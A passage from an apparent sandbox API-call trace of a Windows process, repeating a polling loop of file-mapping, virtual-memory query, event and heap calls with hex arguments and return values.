Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.355] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.355] ResetEvent (hEvent=0x110) returned 1 [0072.355] SetEvent (hEvent=0x114) returned 1 [0072.355] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.355] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.355] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.355] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.355] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.355] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.356] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.356] ResetEvent (hEvent=0x110) returned 1 [0072.356] SetEvent (hEvent=0x114) returned 1 [0072.356] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.356] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.356] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.356] ResetEvent (hEvent=0x110) returned 1 [0072.356] SetEvent (hEvent=0x114) returned 1 [0072.356] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.356] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.356] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.356] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.356] ResetEvent (hEvent=0x110) returned 1 [0072.356] SetEvent (hEvent=0x114) returned 1 [0072.356] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.357] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.357] ResetEvent (hEvent=0x110) returned 1 [0072.357] SetEvent (hEvent=0x114) returned 1 [0072.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.357] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.357] ResetEvent (hEvent=0x110) returned 1 [0072.357] SetEvent (hEvent=0x114) returned 1 [0072.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.357] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.357] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.357] ResetEvent (hEvent=0x110) returned 1 [0072.357] SetEvent (hEvent=0x114) returned 1 [0072.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.358] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.358] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.358] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.358] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.358] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.358] ResetEvent (hEvent=0x110) returned 1 [0072.358] SetEvent (hEvent=0x114) returned 1 [0072.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.358] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.358] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.358] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.358] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.358] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.358] ResetEvent (hEvent=0x110) returned 1 [0072.358] SetEvent (hEvent=0x114) returned 1 [0072.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.359] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.359] ResetEvent (hEvent=0x110) returned 1 [0072.359] SetEvent (hEvent=0x114) returned 1 [0072.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.359] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.359] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.359] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.359] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.359] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.359] ResetEvent (hEvent=0x110) returned 1 [0072.359] SetEvent (hEvent=0x114) returned 1 [0072.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.360] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.360] ResetEvent (hEvent=0x110) returned 1 [0072.360] SetEvent (hEvent=0x114) returned 1 [0072.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.360] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.360] ResetEvent (hEvent=0x110) returned 1 [0072.360] SetEvent (hEvent=0x114) returned 1 [0072.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.360] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.360] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.360] ResetEvent (hEvent=0x110) returned 1 [0072.360] SetEvent (hEvent=0x114) returned 1 [0072.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.361] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.361] ResetEvent (hEvent=0x110) returned 1 [0072.361] SetEvent (hEvent=0x114) returned 1 [0072.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.361] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.361] ResetEvent (hEvent=0x110) returned 1 [0072.361] SetEvent (hEvent=0x114) returned 1 [0072.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.361] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.361] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.362] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.362] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.362] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.362] ResetEvent (hEvent=0x110) returned 1 [0072.362] SetEvent (hEvent=0x114) returned 1 [0072.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.362] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.362] ResetEvent (hEvent=0x110) returned 1 [0072.362] SetEvent (hEvent=0x114) returned 1 [0072.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.362] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.362] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.362] ResetEvent (hEvent=0x110) returned 1 [0072.362] SetEvent (hEvent=0x114) returned 1 [0072.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.363] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.363] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.363] ResetEvent (hEvent=0x110) returned 1 [0072.363] SetEvent (hEvent=0x114) returned 1 [0072.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.363] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.363] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.363] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.363] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.363] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.363] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.363] ResetEvent (hEvent=0x110) returned 1 [0072.363] SetEvent (hEvent=0x114) returned 1 [0072.363] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.364] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.364] ResetEvent (hEvent=0x110) returned 1 [0072.364] SetEvent (hEvent=0x114) returned 1 [0072.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.364] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.364] ResetEvent (hEvent=0x110) returned 1 [0072.364] SetEvent (hEvent=0x114) returned 1 [0072.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.364] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.365] ResetEvent (hEvent=0x110) returned 1 [0072.365] SetEvent (hEvent=0x114) returned 1 [0072.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.365] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.365] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.365] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.365] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.365] ResetEvent (hEvent=0x110) returned 1 [0072.365] SetEvent (hEvent=0x114) returned 1 [0072.365] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.365] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.365] ResetEvent (hEvent=0x110) returned 1 [0072.366] SetEvent (hEvent=0x114) returned 1 [0072.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.366] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.366] ResetEvent (hEvent=0x110) returned 1 [0072.366] SetEvent (hEvent=0x114) returned 1 [0072.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.366] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.366] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.366] ResetEvent (hEvent=0x110) returned 1 [0072.366] SetEvent (hEvent=0x114) returned 1 [0072.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.367] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.367] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.367] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.367] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.367] ResetEvent (hEvent=0x110) returned 1 [0072.367] SetEvent (hEvent=0x114) returned 1 [0072.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.367] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.367] ResetEvent (hEvent=0x110) returned 1 [0072.367] SetEvent (hEvent=0x114) returned 1 [0072.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.368] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.368] ResetEvent (hEvent=0x110) returned 1 [0072.368] SetEvent (hEvent=0x114) returned 1 [0072.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.368] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.368] ResetEvent (hEvent=0x110) returned 1 [0072.368] SetEvent (hEvent=0x114) returned 1 [0072.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.368] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.368] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.368] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.368] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.368] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.368] ResetEvent (hEvent=0x110) returned 1 [0072.369] SetEvent (hEvent=0x114) returned 1 [0072.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.369] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.369] ResetEvent (hEvent=0x110) returned 1 [0072.369] SetEvent (hEvent=0x114) returned 1 [0072.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.369] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.369] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.369] ResetEvent (hEvent=0x110) returned 1 [0072.369] SetEvent (hEvent=0x114) returned 1 [0072.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, 